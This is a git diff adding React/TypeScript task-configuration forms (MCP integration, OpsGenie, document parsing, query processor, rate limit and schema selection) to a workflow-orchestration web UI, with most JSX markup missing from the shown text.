}, + + "&.Mui-focused": { + backgroundColor: "#FFFFFF", + }, + + "&.Mui-error": { + color: "#D6423B", + + ".MuiOutlinedInput-notchedOutline": { + borderColor: "#D6423B", + }, + }, + + "&.Mui-disabled": { + WebkitTextFillColor: "#494949", + borderColor: "#AFAFAF", + backgroundColor: "#ECECEC", + }, + + ".MuiInputBase-inputMultiline": { + p: 0, + }, + + "&.MuiInputBase-multiline": { + p: "14px 8px 8px 8px", + }, + }, + }, + }, + MuiFormHelperText: { + styleOverrides: { + root: { + fontSize: "0.857em", + color: "#494949", + paddingLeft: "8px", + marginTop: "4px", + marginLeft: "0px", + + "&.Mui-error": { + color: "#D6423B", + }, + + "&.Mui-disabled": { + color: "#060606", + }, + }, + }, + }, + MuiIconButton: { + styleOverrides: { + root: { + // Clear button visibility control + "&[aria-label='clear value']": { + visibility: "visible", + }, + }, + }, + }, + }, + }); + + const { integrations, isLoading: isLoadingIntegrations } = + useMCPIntegrations(); + const { tools, isLoading: isLoadingTools } = useMCPTools( + task?.inputParameters?.integrationName, + ); + + const hasValidIntegration = Boolean( + task?.inputParameters?.integrationName && + task?.inputParameters?.integrationName !== null, + ); + const hasValidMethod = Boolean( + task?.inputParameters?.method && task?.inputParameters?.method !== null, + ); + + const { data: toolData, isLoading: isToolDataLoading } = useFetch( + `/integrations/${task?.inputParameters?.integrationName}/def/api/${task?.inputParameters?.method}`, + { + enabled: hasValidIntegration && hasValidMethod, + }, + ); + + // Prepare and validate the schema for JsonForms + const processedSchema = useMemo(() => { + if (!toolData?.inputSchema?.data) return null; + + const schemaData = toolData.inputSchema.data; + if ( + typeof schemaData !== "object" || + Object.keys(schemaData).length === 0 + ) { + return null; + } + + // Check if schema has properties (actual fields to render) + if ( + !schemaData.properties || + Object.keys(schemaData.properties).length === 0 + ) { + return null; + } + + try { + return downgradeSchemaToDraft7(schemaData); + } catch (error) { + console.error("[MCPTaskForm] Error processing schema:", error); + return null; + } + }, [toolData?.inputSchema?.data]); + + return ( + + onChange(updateField("inputParameters", val, task))} + path={"inputParameters"} + taskType={TaskType.INTEGRATION} + > + + {isToolDataLoading ? ( + + + + + + ) : ( + + + + + + + + {task?.inputParameters?.method} + + + { + if (task?.inputParameters?.integrationName) { + navigate( + `/integrations/${encodeURIComponent( + task.inputParameters.integrationName, + )}/configuration`, + ); + } + }} + > + Configuration{" "} + + + + + {/* + {toolData?.description} + */} + + + + + i.status === "active") + .map((i) => i.name)} + onChange={(__, val) => { + // Get the selected integration's type + const selectedIntegration = (integrations || []).find( + (i) => i.name === val, + ); + + // Only keep integration name and type in inputParameters + onChange({ + ...task, + inputParameters: { + integrationName: val, + integrationType: selectedIntegration?.type || null, + }, + }); + }} + value={task?.inputParameters?.integrationName} + autoFocus + required + disableClearable + getOptionLabel={(option) => option} + loading={isLoadingIntegrations} + /> + + + { + onChange({ + ...task, + inputParameters: { + integrationName: + task?.inputParameters?.integrationName, + integrationType: + task?.inputParameters?.integrationType, + method: val?.api, + }, + }); + }} + value={ + tools?.find( + (t: { api: string }) => + t.api === task?.inputParameters?.method, + ) || null + } + autoFocus + required + disableClearable + getOptionLabel={(option) => option?.api || ""} + loading={isLoadingTools} + disabled={!task?.inputParameters?.integrationName} + /> + + + + + + + {processedSchema && ( + + + + onChange(updateField("inputParameters", data, task)) + } + renderers={materialRenderers} + cells={materialCells} + /> + + + )} + + + + )} + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MaybeVariable.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MaybeVariable.tsx new file mode 100644 index 0000000..998ac9a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MaybeVariable.tsx @@ -0,0 +1,106 @@ +import { useMemo, Fragment, FunctionComponent, ReactNode } from "react"; +import { Article as FormIcon } from "@phosphor-icons/react"; +import { Box, ToggleButton, Tooltip, Stack, SxProps } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import _isString from "lodash/isString"; +import { FormTaskType } from "types/TaskType"; +import _path from "lodash/fp/path"; +import { taskGeneratorMap } from "components/features/flow/nodes"; +import _isNil from "lodash/isNil"; +import HelperText from "components/ui/inputs/HelperText"; + +interface MaybeVariableProps { + value: string | any; + onChange: (v: any) => void; + path: string; + taskType: FormTaskType; + children?: ReactNode; + helperTextStyle?: SxProps; + fieldStyle?: SxProps; +} + +type ValidTypes = "string" | "object"; + +export const MaybeVariable: FunctionComponent = ({ + children, + value, + onChange, + path, + taskType, + helperTextStyle = {}, + fieldStyle = {}, +}) => { + const valueType = useMemo( + (): ValidTypes => (_isString(value) ? "string" : "object"), + [value], + ); + + const handleChangeType = () => { + const generateTask = taskGeneratorMap[taskType]; + const newTask = generateTask({}); + const valueForObject = _path(path, newTask); + onChange(_isNil(valueForObject) ? {} : valueForObject); + }; + + const referenceKey = path.split(".").slice(-1).join(""); + return ( + + + {valueType === "string" && ( + + + Selecting form fields will show form with default value + + + + + + + + )} + + {valueType === "string" ? ( + + + + + + + + ) : ( + children + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OpsGenieTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OpsGenieTaskForm.tsx new file mode 100644 index 0000000..4117233 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OpsGenieTaskForm.tsx @@ -0,0 +1,181 @@ +import { Box, Grid } from "@mui/material"; +import { path as _path } from "lodash/fp"; + +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { + ConductorFlatMapForm, + ConductorFlatMapFormBase, +} from "components/FlatMapForm/ConductorFlatMapForm"; +import { TaskType } from "types"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { ConductorValueInput } from "./ConductorValueInput"; +import { updateField } from "utils/fieldHelpers"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const DEFAULT_VALUES_FOR_ARRAY = { object: [] }; + +const aliasLocationPath = "inputParameters.alias"; +const descriptionPath = "inputParameters.description"; +const messagePath = "inputParameters.message"; +const priorityPath = "inputParameters.priority"; +const entityPath = "inputParameters.entity"; +const tokenPath = "inputParameters.token"; +const actionsPath = "inputParameters.actions"; +const tagsPath = "inputParameters.tags"; +const inputParametersPath = "inputParameters"; +const detailsPath = "inputParameters.details"; + +export const OpsGenieTaskForm = ({ task, onChange }: TaskFormProps) => { + const alias = _path(aliasLocationPath, task); + const description = _path(descriptionPath, task); + const message = _path(messagePath, task); + const priority = _path(priorityPath, task); + const entity = _path(entityPath, task); + const token = _path(tokenPath, task); + const actions = _path(actionsPath, task); + const tags = _path(tagsPath, task); + + return ( + + + + + + onChange(updateField(aliasLocationPath, changes, task)) + } + /> + + + + onChange(updateField(descriptionPath, changes, task)) + } + /> + + + + + + + + onChange(updateField(inputParametersPath, changes, task)) + } + /> + + + + + + + + onChange(updateField(detailsPath, changes, task)) + } + /> + + + + + + + + onChange(updateField(messagePath, changes, task)) + } + /> + + + { + onChange(updateField(actionsPath, changes, task)); + }} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + + + + + onChange(updateField(priorityPath, changes, task)) + } + /> + + + + onChange(updateField(entityPath, changes, task)) + } + /> + + + + + + + + onChange(updateField(tokenPath, changes, task)) + } + /> + + + { + onChange(updateField(tagsPath, changes, task)); + }} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OptionalFieldForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OptionalFieldForm.tsx new file mode 100644 index 0000000..0ee9864 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OptionalFieldForm.tsx @@ -0,0 +1,34 @@ +import React, { FunctionComponent } from "react"; +import { Box, Switch } from "@mui/material"; +import { Grid } from "@mui/system"; +interface OptionalProps { + onChange: (value: any) => void; + taskJson: any; +} + +export const Optional: FunctionComponent = ({ + onChange, + taskJson, +}) => { + const handleChange = (e: React.ChangeEvent) => { + onChange({ ...taskJson, optional: e.target.checked }); + }; + return ( + + + + + Make Task Optional + + + The workflow continues unaffected by the task's outcome, whether it + fails or remains incomplete. + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ParseDocumentTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ParseDocumentTaskForm.tsx new file mode 100644 index 0000000..c851590 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ParseDocumentTaskForm.tsx @@ -0,0 +1,578 @@ +import { + Alert, + AlertTitle, + Box, + Chip, + FormHelperText, + Grid, + Slider, + Stack, + Typography, +} from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { useCallback, useState } from "react"; +import { updateField } from "utils/fieldHelpers"; +import { useGetIntegration } from "utils/hooks"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +// Media type options for PARSE_DOCUMENT with comprehensive document types +const PARSE_DOCUMENT_MEDIA_TYPES = [ + { value: "auto", label: "Auto-detect (Recommended)" }, + // Office Documents + { + value: + "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + label: "Word Document (.docx)", + }, + { + value: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", + label: "Excel Spreadsheet (.xlsx)", + }, + { + value: + "application/vnd.openxmlformats-officedocument.presentationml.presentation", + label: "PowerPoint Presentation (.pptx)", + }, + { + value: "application/msword", + label: "Word Document (.doc)", + }, + { + value: "application/vnd.ms-excel", + label: "Excel Spreadsheet (.xls)", + }, + { + value: "application/vnd.ms-powerpoint", + label: "PowerPoint Presentation (.ppt)", + }, + // PDF + { + value: "application/pdf", + label: "PDF Document", + }, + // HTML + { + value: "text/html", + label: "HTML", + }, + // Images (with OCR) + { + value: "image/jpeg", + label: "JPEG Image (OCR)", + }, + { + value: "image/png", + label: "PNG Image (OCR)", + }, + { + value: "image/gif", + label: "GIF Image (OCR)", + }, + { + value: "image/bmp", + label: "BMP Image (OCR)", + }, + { + value: "image/tiff", + label: "TIFF Image (OCR)", + }, + // Zipped Documents + { + value: "application/zip", + label: "ZIP Archive (Auto-extract)", + }, + { + value: "application/x-zip-compressed", + label: "ZIP Compressed (Auto-extract)", + }, + // Text Formats + { + value: "text/plain", + label: "Plain Text", + }, + { + value: "text/markdown", + label: "Markdown", + }, +]; + +// Media type configuration types +type MediaTypeConfigItem = { + description: string; + chunkSizeRecommendation: string; + matchers?: readonly string[]; + matchType?: "includes" | "startsWith"; +}; + +// Media type configuration for descriptions and recommendations +const MEDIA_TYPE_CONFIG: Record = { + auto: { + description: + "Document type will be automatically detected based on content and file extension. All content will be converted to Markdown format optimized for LLM processing.", + chunkSizeRecommendation: + "Default: 0 (no chunking). Set to positive value to enable semantic chunking of parsed content", + }, + office: { + description: + "Office document will be parsed and converted to Markdown format, preserving document structure, formatting, tables, and hierarchies.", + chunkSizeRecommendation: + "Recommended: 1500-2000 characters for document content to maintain context", + matchers: [ + "openxmlformats", + "msword", + "ms-excel", + "ms-powerpoint", + ] as const, + }, + pdf: { + description: + "PDF will be parsed with text extraction, OCR for scanned documents, and converted to Markdown while preserving structure.", + chunkSizeRecommendation: + "Recommended: 1500-2000 characters for document content to maintain context", + matchers: ["application/pdf"] as const, + }, + html: { + description: + "HTML content will be parsed and converted to clean Markdown format, removing scripts and styling while preserving semantic structure.", + chunkSizeRecommendation: + "Default: 0 (no chunking). Set to positive value to enable semantic chunking of parsed content", + matchers: ["text/html"] as const, + }, + image: { + description: + "Image will be processed with OCR (Optical Character Recognition) to extract text content and convert to Markdown format.", + chunkSizeRecommendation: + "Recommended: 1000-1500 characters for OCR-extracted text", + matchers: ["image/"] as const, + matchType: "startsWith" as const, + }, + zip: { + description: + "ZIP archive will be automatically extracted and all supported documents inside will be parsed and converted to Markdown.", + chunkSizeRecommendation: + "Recommended: 1500-2000 characters per document in archive", + matchers: ["zip"] as const, + }, + text: { + description: + "Text content will be parsed and converted to Markdown format with appropriate formatting.", + chunkSizeRecommendation: + "Default: 0 (no chunking). Set to positive value to enable semantic chunking of parsed content", + matchers: ["text/"] as const, + matchType: "startsWith" as const, + }, + default: { + description: + "Content will be parsed and converted to Markdown format for optimal LLM processing.", + chunkSizeRecommendation: + "Default: 0 (no chunking). Set to positive value to enable semantic chunking of parsed content", + }, +}; + +// Helper function to find matching config +const findMediaTypeConfig = (mediaType: string) => { + if (!mediaType || mediaType === "auto") { + return MEDIA_TYPE_CONFIG.auto; + } + + // Check each config type + for (const config of Object.values(MEDIA_TYPE_CONFIG)) { + if (!config.matchers) continue; + + const matchType = config.matchType || "includes"; + const matches = config.matchers.some((matcher) => { + if (matchType === "startsWith") { + return mediaType.startsWith(matcher); + } + return mediaType.includes(matcher); + }); + + if (matches) return config; + } + + return MEDIA_TYPE_CONFIG.default; +}; + +// Get description of what happens based on media type +const getMediaTypeDescription = (mediaType: string): string => { + return findMediaTypeConfig(mediaType).description; +}; + +// Get chunk size recommendation based on media type +const getChunkSizeRecommendation = (mediaType: string): string => { + return findMediaTypeConfig(mediaType).chunkSizeRecommendation; +}; + +// Estimate chunk count +const estimateChunkCount = ( + chunkSize: number, + contentLength: number = 0, +): string => { + if (!chunkSize || chunkSize <= 0) + return "No chunking (entire document as one piece)"; + if (!contentLength) return "Depends on document size"; + return `Approximately ${Math.ceil(contentLength / chunkSize)} chunks`; +}; + +export const ParseDocumentTaskForm = ({ task, onChange }: TaskFormProps) => { + // Get current values from task + const integrationName = task.inputParameters?.integrationName || ""; + const url = task.inputParameters?.url || ""; + const mediaType = task.inputParameters?.mediaType || "auto"; + const chunkSize = task.inputParameters?.chunkSize || 0; + + // need to fetch compatible integration names and pass them to the integrationName autocomplete options + const integrations = useGetIntegration({}); + + // Filter integrations to only include git, aws, and gcp types + const integrationNameOptions = + integrations?.data + ?.filter((integration) => { + const type = integration?.type?.toLowerCase() || ""; + // Filter by type containing git, aws, + return type === "git" || type === "aws"; + }) + ?.map((integration) => integration?.name) || []; + + // Local state for URL validation + const [urlError, setUrlError] = useState(""); + + // Validate URL format + const validateUrl = useCallback((urlValue: string) => { + if (!urlValue) { + setUrlError(""); + return true; + } + + // Allow template variables and JSON path expressions + if (urlValue.includes("${") || urlValue.includes("$.")) { + setUrlError(""); + return true; + } + + // Basic URL validation + const urlPatterns = [ + /^s3:\/\/.+/i, + /^gs:\/\/.+/i, + /^https?:\/\/.+/i, + /^file:\/\/.+/i, + /^git:\/\/.+/i, + ]; + + const isValid = urlPatterns.some((pattern) => pattern.test(urlValue)); + if (!isValid) { + setUrlError( + "Invalid URL format. Must use s3://, gs://, https://, http://, file://, or git:// protocol", + ); + return false; + } + + setUrlError(""); + return true; + }, []); + + // Handlers + const handleIntegrationNameChange = useCallback( + (value: string) => { + onChange(updateField("inputParameters.integrationName", value, task)); + }, + [onChange, task], + ); + + const handleUrlChange = useCallback( + (value: string) => { + validateUrl(value); + onChange(updateField("inputParameters.url", value, task)); + }, + [onChange, task, validateUrl], + ); + + const handleMediaTypeChange = useCallback( + (value: string) => { + onChange(updateField("inputParameters.mediaType", value || "auto", task)); + }, + [onChange, task], + ); + + const handleChunkSizeChange = useCallback( + (value: number) => { + onChange(updateField("inputParameters.chunkSize", value, task)); + }, + [onChange, task], + ); + + // Slider marks for chunk size + const sliderMarks = [ + { value: 0, label: "0" }, + { value: 2500, label: "2.5K" }, + { value: 5000, label: "5K" }, + { value: 7500, label: "7.5K" }, + { value: 10000, label: "10K" }, + ]; + + return ( + + {/* Document Source Section */} + + + + + + + {integrationName && ( + + + Integration Selected: {integrationName} + Make sure your integration credentials are configured and + active. You can manage integrations in the Integrations page. + + + )} + + + + + + {integrationName && ( + + + + URL Format Examples: + + + {[ + "s3://bucket/document.pdf", + "https://example.com/document.pdf", + "file:///path/to/document.pdf", + ].map((example, idx) => ( + + • {example} + + ))} + + + + )} + + + + {/* Media Type Section */} + + + + opt.value)} + label="Media Type" + helperText="Select document type or use auto-detect. All documents will be converted to Markdown format." + getOptionLabel={(option) => + PARSE_DOCUMENT_MEDIA_TYPES.find((opt) => opt.value === option) + ?.label ?? option.toString() + } + renderOption={(props, option) => ( + + + {PARSE_DOCUMENT_MEDIA_TYPES.find( + (opt) => opt.value === option, + )?.label ?? option} + + + )} + /> + + + + + + Processing:{" "} + + + {getMediaTypeDescription(mediaType)} + + + + + + + + Supported Formats: + + + + + + + + + + + + + + + {/* Chunk Size Section */} + + + + + + { + const numValue = parseInt(value, 10); + if ( + !isNaN(numValue) && + numValue >= 0 && + numValue <= 10000 + ) { + handleChunkSizeChange(numValue); + } + }} + fullWidth + error={chunkSize < 0 || chunkSize > 10000} + helperText="Enter 0 for no chunking, or a value between 100 and 10000 for semantic chunking" + inputProps={{ min: 0, max: 10000 }} + /> + + + + + + Result:{" "} + + + {estimateChunkCount(chunkSize)} + + + {chunkSize === 0 + ? "The entire document will be returned as a single Markdown output" + : `Document will be split into semantic chunks of ~${chunkSize} characters`} + + + + + + + + + handleChunkSizeChange(value as number)} + min={0} + max={10000} + step={100} + marks={sliderMarks} + valueLabelDisplay="auto" + sx={{ mt: 2 }} + /> + + + + + + {getChunkSizeRecommendation(mediaType)} + + + + + + + Markdown Conversion:{" "} + + + All parsed content is converted to Markdown format, which is + optimized for LLM processing and maintains document structure, + headings, lists, tables, and formatting. + + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/MetricsTypeForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/MetricsTypeForm.tsx new file mode 100644 index 0000000..8eaee97 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/MetricsTypeForm.tsx @@ -0,0 +1,82 @@ +import { Box, Grid } from "@mui/material"; + +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { configurePromQl } from "utils/monacoUtils/CodeEditorUtils"; +import { useTaskForm } from "../hooks/useTaskForm"; +import { TaskFormProps } from "../types"; + +export const MetricsTypeForm = ({ task, onChange }: TaskFormProps) => { + const [query, setQuery] = useTaskForm("inputParameters.metricsQuery", { + task, + onChange, + }); + const [metricsStart, setMetricsStart] = useTaskForm( + "inputParameters.metricsStart", + { + task, + onChange, + }, + ); + const [metricsEnd, setMetricsEnd] = useTaskForm( + "inputParameters.metricsEnd", + { + task, + onChange, + }, + ); + const [metricsStep, setMetricsStep] = useTaskForm( + "inputParameters.metricsStep", + { + task, + onChange, + }, + ); + return ( + + + + + + + {"Start time from (Now - "} + + + + {`mins) to (Now -`} + + + + {"mins)"} + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/QueryProcessorTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/QueryProcessorTaskForm.tsx new file mode 100644 index 0000000..c6f8a5d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/QueryProcessorTaskForm.tsx @@ -0,0 +1,247 @@ +import { Box, Grid } from "@mui/material"; +import RadioButtonGroup from "components/ui/inputs/RadioButtonGroup"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { path as _path } from "lodash/fp"; +import { WorkflowExecutionStatus } from "types/Execution"; +import { QueryProcessorType } from "types/TaskType"; +import { updateField } from "utils/fieldHelpers"; +import { useWorkflowNames } from "utils/query"; +import { ConductorValueInput } from "../ConductorValueInput"; +import { useTaskForm } from "../hooks/useTaskForm"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import { MetricsTypeForm } from "./MetricsTypeForm"; + +const DEFAULT_VALUES_FOR_ARRAY = { object: [] }; +const statusOptions = Object.values(WorkflowExecutionStatus); +const queryProcessorTypePath = "inputParameters.queryType"; +const workflowNamesPath = "inputParameters.workflowNames"; +const correlationIdsPath = "inputParameters.correlationIds"; +const statusesPath = "inputParameters.statuses"; +const freeTextPath = "inputParameters.freeText"; +const startTimeFromPath = "inputParameters.startTimeFrom"; +const startTimeToPath = "inputParameters.startTimeTo"; +const endTimeFromPath = "inputParameters.endTimeFrom"; +const endTimeToPath = "inputParameters.endTimeTo"; + +export const QueryProcessorTaskForm = ({ task, onChange }: TaskFormProps) => { + const [queryType, setQueryType] = useTaskForm(queryProcessorTypePath, { + task, + onChange, + }); + const workflowNames = _path(workflowNamesPath, task); + const correlationIds = _path(correlationIdsPath, task); + const statuses = _path(statusesPath, task); + const freeText = _path(freeTextPath, task); + const startTimeFrom = _path(startTimeFromPath, task); + const startTimeTo = _path(startTimeToPath, task); + const endTimeFrom = _path(endTimeFromPath, task); + const endTimeTo = _path(endTimeToPath, task); + + const workflowNamesOptions: string[] = useWorkflowNames(); + + const changeWorkflowNames = (value: string) => { + onChange(updateField(workflowNamesPath, value, task)); + }; + const changeCorrelationIds = (value: string) => { + onChange(updateField(correlationIdsPath, value, task)); + }; + const changeStatuses = (value: string | string[]) => { + onChange(updateField(statusesPath, value, task)); + }; + const changeFreeText = (value: string) => { + onChange(updateField(freeTextPath, value, task)); + }; + const changeStartTimeFrom = (value: any) => { + onChange(updateField(startTimeFromPath, value, task)); + }; + const changeStartTimeTo = (value: any) => { + onChange(updateField(startTimeToPath, value, task)); + }; + + const changeEndTimeFrom = (value: any) => { + onChange(updateField(endTimeFromPath, value, task)); + }; + const changeEndTimeTo = (value: any) => { + onChange(updateField(endTimeToPath, value, task)); + }; + + const changeTemplateType = (type: string) => { + setQueryType(type); + const conductorApiTemplate = { + workflowNames: [], + statuses: [], + correlationIds: [], + }; + const metricsTemplate = { + metricsQuery: "", + metricsStart: "", + metricsEnd: "", + metricsStep: "", + }; + if (type === QueryProcessorType.CONDUCTOR_API) { + onChange({ + ...task, + inputParameters: { + ...conductorApiTemplate, + queryType: type, + }, + }); + } else if (type === QueryProcessorType.METRICS) { + onChange({ + ...task, + inputParameters: { + ...metricsTemplate, + queryType: type, + }, + }); + } + }; + + return ( + + + + + { + changeTemplateType(value); + }} + /> + + + + + {queryType === QueryProcessorType.CONDUCTOR_API && ( + + + { + changeWorkflowNames(val); + }} + dropDownOptions={workflowNamesOptions} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + + + { + changeCorrelationIds(val); + }} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + + + { + changeStatuses(val); + }} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + + + + + + + + + + + + + + + + + + + + + + + + + + )} + {queryType === QueryProcessorType.METRICS && ( + + )} + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/index.ts new file mode 100644 index 0000000..a15c8c2 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./QueryProcessorTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/RateLimitConfigForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/RateLimitConfigForm.tsx new file mode 100644 index 0000000..25b0070 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/RateLimitConfigForm.tsx @@ -0,0 +1,82 @@ +import { Box, Grid } from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import ConductorTooltip from "components/ui/ConductorTooltip"; + +type RateLimitConfigValue = { + rateLimitKey: string; + concurrentExecLimit: number; +}; +interface RateLimitConfigFormProps { + onChange: (value: RateLimitConfigValue) => void; + value: RateLimitConfigValue; +} +export default function RateLimitConfigForm({ + onChange, + value, +}: RateLimitConfigFormProps) { + const handleRateLimitKeyChange = (val: string) => { + onChange({ ...value, rateLimitKey: val }); + }; + const handleConcurrentExecLimitChange = (val: number) => { + onChange({ ...value, concurrentExecLimit: val }); + }; + return ( + <> + + + Rate Limit + + + Limits the number of workflow executions at any given time. + + + + + + <>Rate limit key + + } + /> + + } + /> + + + + handleConcurrentExecLimitChange(parseInt(val)) + } + /> + + + + ); +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SchemaForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SchemaForm.tsx new file mode 100644 index 0000000..576c24a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SchemaForm.tsx @@ -0,0 +1,316 @@ +import { Grid, Stack, Tooltip } from "@mui/material"; +import { NotePencilIcon as EditIcon, EyeIcon } from "@phosphor-icons/react"; +import MuiIconButton from "components/ui/buttons/MuiIconButton"; +import { chain, map } from "lodash"; +import { ConductorNameVersionField } from "components/inputs/ConductorNameVersionField"; +import { pluginRegistry } from "plugins/registry"; +import { + forwardRef, + FunctionComponent, + useCallback, + useImperativeHandle, + useMemo, + useRef, + useState, +} from "react"; +import { SchemaDefinition } from "types/SchemaDefinition"; +import { EnforceSchema } from "./EnforceSchemaForm"; +import TaskFormSection from "./TaskFormSection"; + +export interface SchemaFormValue { + name: string; + version?: number; + type?: string; +} + +interface SchemaFormItemProps { + onChange: (value?: SchemaFormValue) => void; + value?: SchemaFormValue; + label: string; + onRefetch: () => void; + disabled?: boolean; +} + +const SchemaFormItem = forwardRef< + { + refetch: () => void; + }, + SchemaFormItemProps +>(({ onChange, value, label, disabled, onRefetch }, ref) => { + const conductorNameVersionFieldRef = useRef<{ refetch: () => void }>(null); + const [editingSchema, setEditingSchema] = useState(false); + const [previewSchema, setPreviewSchema] = useState(false); + + // Get dialog components from plugin registry (enterprise-only) + const SchemaEditDialog = pluginRegistry.getSchemaEditDialog(); + const SchemaPreviewDialog = pluginRegistry.getSchemaPreviewDialog(); + + useImperativeHandle(ref, () => ({ + refetch: () => { + conductorNameVersionFieldRef.current?.refetch(); + }, + })); + + const openEditSchema = useCallback(() => { + setEditingSchema(true); + }, []); + + const handlePreviewSchema = () => setPreviewSchema(true); + const closePreviewSchema = () => setPreviewSchema(false); + + const closeEditSchema = useCallback( + ( + schema: + | { + name: string; + version?: number; + } + | undefined, + ) => { + if (schema) { + onChange({ ...schema, type: "JSON" }); + onRefetch(); + } + setEditingSchema(false); + }, + [onChange, onRefetch], + ); + + const handleNameVersionChange = ( + val: + | { + name?: string; + version?: number; + } + | undefined, + ) => { + if (val && val.name) { + onChange({ + name: val.name, + version: val.version, + type: "JSON", + }); + } else { + onChange(undefined); + } + }; + return ( + <> + + + + chain(data) + .groupBy("name") + .map((group, key) => ({ + name: key, + versions: map(group, "version"), + })) + .value() + } + value={value} + onChange={handleNameVersionChange} + /> + + {/* Preview button - only show if SchemaPreviewDialog is available */} + {SchemaPreviewDialog && ( + + + + + + )} + {/* Edit button - only show if SchemaEditDialog is available */} + {SchemaEditDialog && ( + + + + + + )} + + + {editingSchema && value && SchemaEditDialog && ( + + )} + {previewSchema && value && SchemaPreviewDialog && ( + + )} + + ); +}); + +export interface SchemaFormPropsValue { + inputSchema?: SchemaFormValue; + outputSchema?: SchemaFormValue; + enforceSchema?: boolean; +} + +export interface SchemaFormProps { + value?: SchemaFormPropsValue; + onChange: (value?: SchemaFormPropsValue) => void; + hideOutputSchema?: boolean; + hideInputSchema?: boolean; + hideEnforceSchema?: boolean; +} + +export const SchemaForm: FunctionComponent = ({ + onChange, + value, + hideInputSchema, + hideOutputSchema, + hideEnforceSchema, +}) => { + const inputSchemaRef = useRef<{ refetch: () => void }>(null); + const outputSchemaRef = useRef<{ refetch: () => void }>(null); + + const handleEnforceSchemaChange = useCallback( + ({ + inputSchema, + outputSchema, + }: { + inputSchema?: SchemaFormValue; + outputSchema?: SchemaFormValue; + }) => { + if (!inputSchema && !outputSchema) { + return false; + } else { + return true; + } + }, + [], + ); + + const handleEnforceSchemaSwitchChange = useCallback( + (checked: boolean) => { + onChange({ + ...value, + enforceSchema: checked, + }); + }, + [onChange, value], + ); + + const handleOnInputSchemaChange = useCallback( + (schema?: SchemaFormValue) => { + const enforceSchema = handleEnforceSchemaChange({ + inputSchema: schema, + outputSchema: value?.outputSchema, + }); + onChange({ + ...value, + inputSchema: schema, + enforceSchema, + }); + }, + [onChange, value, handleEnforceSchemaChange], + ); + const handleOnOutputSchemaChange = useCallback( + (schema?: SchemaFormValue) => { + const enforceSchema = handleEnforceSchemaChange({ + inputSchema: value?.inputSchema, + outputSchema: schema, + }); + onChange({ + ...value, + outputSchema: schema, + enforceSchema, + }); + }, + [onChange, value, handleEnforceSchemaChange], + ); + + const triggerRefetchOnBothSchemas = useCallback(() => { + if (inputSchemaRef.current) { + inputSchemaRef.current.refetch(); + } + if (outputSchemaRef.current) { + outputSchemaRef.current.refetch(); + } + }, []); + + const showEnforceSchemaSwitch = useMemo(() => { + return !!(value?.inputSchema || value?.outputSchema); + }, [value?.inputSchema, value?.outputSchema]); + + return 